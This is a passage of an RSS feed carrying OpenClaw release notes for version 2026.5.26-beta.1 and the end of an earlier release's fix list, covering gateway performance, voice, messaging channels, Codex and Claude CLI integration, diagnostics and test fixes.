<p>Gateway/perf: tighten restart and startup benchmark failure handling so long profiling runs, failed probes, and fresh Linux runners no longer produce false passing or <code>n/a</code> results.</p>
</li>
<li>
<p>Checks: keep intentional Knip unused-file findings optional so full CI and sparse proof workspaces stay aligned.</p>
</li>
<li>
<p>Docker: restore writable <code>~/.config</code> in runtime images. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510825052" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85968" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85968/hovercard" href="https://github.com/openclaw/openclaw/issues/85968">#85968</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hkoessler/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hkoessler">@hkoessler</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Bartok9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Bartok9">@Bartok9</a>.</p>
</li>
<li>
<p>Plugin SDK: keep legacy root diagnostic subscriptions connected when built plugin SDK aliases resolve diagnostic helpers through a separate module graph.</p>
</li>
<li>
<p>Diagnostics: export alertable OTel and Prometheus signals for blocked tools, model failover, stale sessions, liveness warnings, oversized payloads, and webhook ingress while fixing shared OTLP endpoints with query strings.</p>
</li>
<li>
<p>Tests: normalize macOS canonical temp paths in exec allowlists, fs-safe trash assertions, installed plugin matching, Telegram topic-name stores, and built ACPX MCP server expectations so native macOS proof runners cover the intended behavior.</p>
</li>
<li>
<p>Codex/app-server: preserve message-tool-only source reply delivery mode on active runs so sub-agent completion wakeups can steer the active Codex turn instead of being rejected. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513790064" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86287" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86287/hovercard" href="https://github.com/openclaw/openclaw/pull/86287">#86287</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>Tests: sample the Windows kitchen-sink RPC gateway directly and serialize RSS probes so native runs keep the memory guard active.</p>
</li>
<li>
<p>Tests: normalize bundled plugin lifecycle probe paths and state-root lookup so native Windows release sweeps accept valid packaged plugin installs.</p>
</li>
<li>
<p>Agents/Claude CLI: route live native Bash permission requests through OpenClaw exec policy so Claude turns no longer stall on <code>control_request</code>, and document that OpenClaw exec policy is authoritative. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4425323621" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80819" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80819/hovercard" href="https://github.com/openclaw/openclaw/issues/80819">#80819</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514343781" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86330" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86330/hovercard" href="https://github.com/openclaw/openclaw/pull/86330">#86330</a>, from <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4450374694" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81971" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81971/hovercard" href="https://github.com/openclaw/openclaw/pull/81971">#81971</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/guthirry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/guthirry">@guthirry</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sallyom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sallyom">@sallyom</a>.</p>
</li>
<li>
<p>Security audit: warn when YOLO OpenClaw exec policy overrides a restrictive raw Claude <code>--permission-mode</code> for managed live sessions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518138669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86557" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86557/hovercard" href="https://github.com/openclaw/openclaw/pull/86557">#86557</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sallyom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sallyom">@sallyom</a>.</p>
</li>
<li>
<p>Config: keep benign legacy metadata write anomalies out of default doctor and config command output while preserving explicit anomaly logging for diagnostics.</p>
</li>
<li>
<p>Codex: log when implicit app-server <code>never</code> approvals are promoted for OpenClaw tool policy, including whether the trigger was a <code>before_tool_call</code> hook or trusted tool policy.</p>
</li>
<li>
<p>Codex harness: make subscription usage-limit errors without reset times explain that OpenClaw cannot determine the reset and point users to wait until Codex is available, use another Codex account, or switch to another configured model/provider. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</p>
</li>
<li>
<p>Google Vertex: support production ADC modes such as Workload Identity Federation, service-account credentials, and metadata-server ADC for the native Vertex transport. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4474267416" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83971" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83971/hovercard" href="https://github.com/openclaw/openclaw/pull/83971">#83971</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/damianFelixPago/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/damianFelixPago">@damianFelixPago</a>.</p>
</li>
<li>
<p>Telegram: route normal <code>[telegram][diag]</code> polling diagnostics through <code>runtime.log</code> while keeping non-diag warnings and persistence failures on <code>runtime.error</code>, so healthy polling startup no longer looks like an error. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462473913" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82957" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82957/hovercard" href="https://github.com/openclaw/openclaw/issues/82957">#82957</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462475221" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82958" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82958/hovercard" href="https://github.com/openclaw/openclaw/pull/82958">#82958</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galiniliev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galiniliev">@galiniliev</a>.</p>
</li>
<li>
<p>Providers/Ollama: strip inline Kimi cloud reasoning prefixes from streamed and final visible replies while keeping ordinary Kimi answers append-only. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513786914" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86286" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86286/hovercard" href="https://github.com/openclaw/openclaw/pull/86286">#86286</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jason-allen-oneal/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jason-allen-oneal">@jason-allen-oneal</a>.</p>
</li>
<li>
<p>Gateway: require Talk secret authority before setup-code handoff can include Talk secrets. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507699906" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85690" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85690/hovercard" href="https://github.com/openclaw/openclaw/pull/85690">#85690</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ngutman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ngutman">@ngutman</a>.</p>
</li>
<li>
<p>Agents: keep fallback error reporting scoped to the active model candidate so stale prior-provider quota/auth text is not reported for later fallback attempts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512330133" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86134" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86134/hovercard" href="https://github.com/openclaw/openclaw/pull/86134">#86134</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>.</p>
</li>
<li>
<p>iMessage: dedupe watcher startup when <code>channels.imessage.accounts</code> lists both <code>default</code> and a named account that point at the same local Messages source, so the gateway no longer spawns two <code>imsg rpc</code> processes or doubles inbound replies; the dedupe is scoped to watcher startup, leaving duplicate accounts addressable for outbound sends, status, and capability listings, and <code>openclaw doctor</code> flags the redundant account with a rebinding hint. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4246413314" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65141" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65141/hovercard" href="https://github.com/openclaw/openclaw/issues/65141">#65141</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520556743" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86705" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86705/hovercard" href="https://github.com/openclaw/openclaw/pull/86705">#86705</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/swang430/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/swang430">@swang430</a>.</p>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[openclaw 2026.5.26-beta.1]]></title>
<description><![CDATA[2026.5.26
Highlights

Faster replies and startup: visible reply delivery now separates user-facing sends from slower follow-up work, command/model/plugin metadata is reused on hot paths, and Gateway startup avoids repeated plugin, channel, session, usage-cost, and filesystem scans.
Better voice a...]]></description>
<link>https://tsecurity.de/de/3549287/downloads/openclaw-2026526-beta1/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3549287/downloads/openclaw-2026526-beta1/</guid>
<pubDate>Tue, 26 May 2026 23:16:49 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>2026.5.26</h2>
<h3>Highlights</h3>
<ul>
<li>Faster replies and startup: visible reply delivery now separates user-facing sends from slower follow-up work, command/model/plugin metadata is reused on hot paths, and Gateway startup avoids repeated plugin, channel, session, usage-cost, and filesystem scans.</li>
<li>Better voice and Talk: realtime Talk runs can be inspected, steered, cancelled, or followed up from Web UI and Discord voice; wake-name handling is more tolerant without letting ambient speech trigger agents.</li>
<li>More channels are production-ready: Telegram keeps typing/progress context and forum topics, iMessage handles attachment roots and duplicate local Messages sources, WhatsApp restores group/media behavior, Discord improves voice playback and model picking, and Signal/iMessage get reaction approvals.</li>
<li>Safer agents: Codex app-server auth, compaction, source replies, sandbox path handling, and usage-limit recovery are more robust; OpenAI-compatible providers avoid empty-tool and malformed payload failures.</li>
<li>More reliable replay and installs: legacy tool results, subagent spawn payloads, stale lock ownership, Windows stack-heavy startup, macOS restart validation, and Docker package preparation all fail less surprisingly.</li>
<li>Better install/update/release confidence: Alpine installs, stable update channels, Docker/package timeouts, Windows/macOS proof lanes, Testbox/Crabbox delegation, and plugin publish checks all got hardened.</li>
<li>New observability: Activity tab, gateway secret-prep traces, tool/model stream progress, OpenTelemetry LLM spans, release performance evidence, and richer missing telemetry signals make failures easier to inspect.</li>
</ul>
<h3>Changes</h3>
<ul>
<li>Transcripts: add core transcript capture and source-provider support for transcript-backed meeting summaries, including the renamed Transcripts docs and CLI surface.</li>
<li>Auth: add named model login profiles and supported credential migration for Hermes, OpenCode, and Codex auth profiles, with explicit opt-out and non-interactive controls. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507376112" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85667" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85667/hovercard" href="https://github.com/openclaw/openclaw/pull/85667">#85667</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>Diagnostics: trace gateway secret preparation, classify skill/tool usage, surface model stream progress, add OpenTelemetry LLM content spans, and expose alertable telemetry for blocked tools, failover, stale sessions, liveness, oversized payloads, and webhook ingress. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462942195" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83019" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83019/hovercard" href="https://github.com/openclaw/openclaw/pull/83019">#83019</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416373435" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80370" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80370/hovercard" href="https://github.com/openclaw/openclaw/pull/80370">#80370</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512822495" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86191" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86191/hovercard" href="https://github.com/openclaw/openclaw/pull/86191">#86191</a>)</li>
<li>Channels: add Signal reaction approvals, iMessage thumb approval reactions, and WhatsApp thumb approval reaction support so mobile approval flows work without textual <code>/approve</code> commands. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510153620" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85894" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85894/hovercard" href="https://github.com/openclaw/openclaw/pull/85894">#85894</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510696445" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85952" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85952/hovercard" href="https://github.com/openclaw/openclaw/pull/85952">#85952</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504724227" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85477" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85477/hovercard" href="https://github.com/openclaw/openclaw/pull/85477">#85477</a>)</li>
<li>Agents/API: forward OpenAI sampling params through the Gateway and expose estimated context-budget status for active agent runs. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4476707401" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84094" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84094/hovercard" href="https://github.com/openclaw/openclaw/pull/84094">#84094</a>)</li>
<li>Android/iOS: add the Android pair-new-gateway action and improve mobile Talk mode surfaces, including iOS realtime Talk mode and Android offline voice/gateway recovery. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4522311194" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86798" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86798/hovercard" href="https://github.com/openclaw/openclaw/pull/86798">#86798</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514830688" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86355" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86355/hovercard" href="https://github.com/openclaw/openclaw/pull/86355">#86355</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ngutman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ngutman">@ngutman</a>.</li>
<li>Performance: cache plugin metadata snapshots, package realpaths, stable gateway metadata, model cost indexes, channel resolution, usage-cost indexes, and session/auth hot-path facts so common Gateway and reply paths do less rediscovery. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4488512713" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84649" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84649/hovercard" href="https://github.com/openclaw/openclaw/pull/84649">#84649</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509730151" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85843" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85843/hovercard" href="https://github.com/openclaw/openclaw/pull/85843">#85843</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517570243" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86517" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86517/hovercard" href="https://github.com/openclaw/openclaw/pull/86517">#86517</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520170077" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86678" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86678/hovercard" href="https://github.com/openclaw/openclaw/pull/86678">#86678</a>)</li>
<li>Voice: expose shared realtime turn-context tracking through the realtime voice SDK and reuse it for Discord speaker attribution and wake-name context recovery.</li>
<li>Voice: reuse shared realtime output activity tracking in Google Meet command and node audio bridges, including recent-output checks for local barge-in detection.</li>
<li>Voice: expose shared realtime output activity tracking through the realtime voice SDK and reuse it for Discord playback activity and barge-in decisions.</li>
<li>Voice: expose shared realtime consult question matching, speakable-result extraction, and alias-aware forced-consult coordination through the realtime voice SDK, then reuse it in Gateway Talk, Voice Call, and Discord voice paths.</li>
<li>Voice: share activation-name matching and consult-transcript screening through the realtime voice SDK so Discord, browser voice, and meeting surfaces can reuse one implementation.</li>
<li>Cron: default <code>cron.maxConcurrentRuns</code> to 8 so scheduled automations and their isolated agent turns can make progress in parallel without explicit configuration.</li>
<li>QA-Lab: add <code>qa coverage --match &lt;query&gt;</code> so focused proof selection can discover matching scenarios from existing metadata before running live or remote lanes.</li>
<li>Discord/model picker: surface an alpha-bucket select (e.g. <code>A–G (12) · H–N (18) · O–Z (5)</code>) when the provider list or a provider's model list exceeds 25 items, so configs with <code>provider/*</code> wildcards stay one click from the right page instead of paginating through prev/next; falls back to numeric chunks when every item shares the same first letter.</li>
<li>Control UI: add an ephemeral Activity tab for sanitized live tool activity summaries without persisting raw telemetry. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3917789057" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/12831" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/12831/hovercard" href="https://github.com/openclaw/openclaw/issues/12831">#12831</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</li>
<li>Build: include <code>ui:build</code> in the <code>full</code> and <code>ciArtifacts</code> profiles of <code>scripts/build-all.mjs</code> so <code>pnpm build</code> always rebuilds <code>dist/control-ui</code> after <code>tsdown</code> cleans <code>dist</code>, removing the second-command requirement and the missing-asset failure mode for source/runtime installs and CI artifact uploads. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499721411" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85206" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85206/hovercard" href="https://github.com/openclaw/openclaw/issues/85206">#85206</a>)</li>
<li>iOS: improve Talk mode with direct realtime voice sessions, compact toolbar status, and responsive voice waveform feedback. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514830688" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86355" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86355/hovercard" href="https://github.com/openclaw/openclaw/pull/86355">#86355</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ngutman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ngutman">@ngutman</a>.</li>
<li>Media: replace the Sharp image backend with Rastermill for metadata, resizing, EXIF orientation, and PNG alpha-preserving optimization so OpenClaw no longer installs Sharp or the WhatsApp Jimp fallback for image processing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4516124165" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86437" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86437/hovercard" href="https://github.com/openclaw/openclaw/pull/86437">#86437</a>)</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>
<p>Reply/perf: reduce visible reply delivery latency by preserving Telegram typing/progress context, lazy-loading slash-command startup metadata, avoiding hot-path model hydration, flag-gating Codex profiler timing, deferring context compaction maintenance, and tracking delivery timing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526356002" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86989" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86989/hovercard" href="https://github.com/openclaw/openclaw/pull/86989">#86989</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526356249" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86990" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86990/hovercard" href="https://github.com/openclaw/openclaw/pull/86990">#86990</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526356645" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86991" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86991/hovercard" href="https://github.com/openclaw/openclaw/pull/86991">#86991</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526356932" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86992" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86992/hovercard" href="https://github.com/openclaw/openclaw/pull/86992">#86992</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526357185" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86993" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86993/hovercard" href="https://github.com/openclaw/openclaw/pull/86993">#86993</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526357498" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86994" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86994/hovercard" href="https://github.com/openclaw/openclaw/pull/86994">#86994</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/keshavbotagent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/keshavbotagent">@keshavbotagent</a>.</p>
</li>
<li>
<p>Reply/source delivery: keep TUI, Control UI, media, TTS, transcript, and Codex source-reply finals live without duplicate terminal events or stale replay artifacts.</p>
</li>
<li>
<p>Agents/replay: repair legacy tool results before replay, preserve <code>sessions_spawn</code> transcript payloads, restore current guard checks, stage sandboxed workspace media, and keep duplicate transcripts tool display metadata from reappearing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4455095754" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82203" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82203/hovercard" href="https://github.com/openclaw/openclaw/pull/82203">#82203</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4524958838" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86934" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86934/hovercard" href="https://github.com/openclaw/openclaw/pull/86934">#86934</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4527204031" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87025" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87025/hovercard" href="https://github.com/openclaw/openclaw/pull/87025">#87025</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/martingarramon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/martingarramon">@martingarramon</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</p>
</li>
<li>
<p>Codex: project newer OpenClaw chat history into resumed app-server threads and keep Codex turn timeouts inside the Codex runtime boundary so timeouts do not poison shared app-server clients or fall through to unrelated provider fallback. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520169285" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86677" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86677/hovercard" href="https://github.com/openclaw/openclaw/pull/86677">#86677</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4516861602" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86476" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86476/hovercard" href="https://github.com/openclaw/openclaw/pull/86476">#86476</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</p>
</li>
<li>
<p>Config/doctor/update: narrow profiled tool-section doctor repair, keep runtime-injected legacy web-search provider config out of user-authored config validation, and keep prerelease tags excluded from stable updater resolution. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4527248275" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87030" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87030/hovercard" href="https://github.com/openclaw/openclaw/pull/87030">#87030</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4522614131" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86818" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86818/hovercard" href="https://github.com/openclaw/openclaw/pull/86818">#86818</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518201643" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86559" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86559/hovercard" href="https://github.com/openclaw/openclaw/pull/86559">#86559</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stevenepalmer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stevenepalmer">@stevenepalmer</a>.</p>
</li>
<li>
<p>CLI/Windows: add a Windows-only stack-size respawn for stack-heavy startup paths, default CLI logs to local timestamps, and validate timeout/banner TTY state more strictly. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4527294921" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87031" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87031/hovercard" href="https://github.com/openclaw/openclaw/pull/87031">#87031</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4503181039" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85387" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85387/hovercard" href="https://github.com/openclaw/openclaw/pull/85387">#85387</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giodl73-repo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giodl73-repo">@giodl73-repo</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
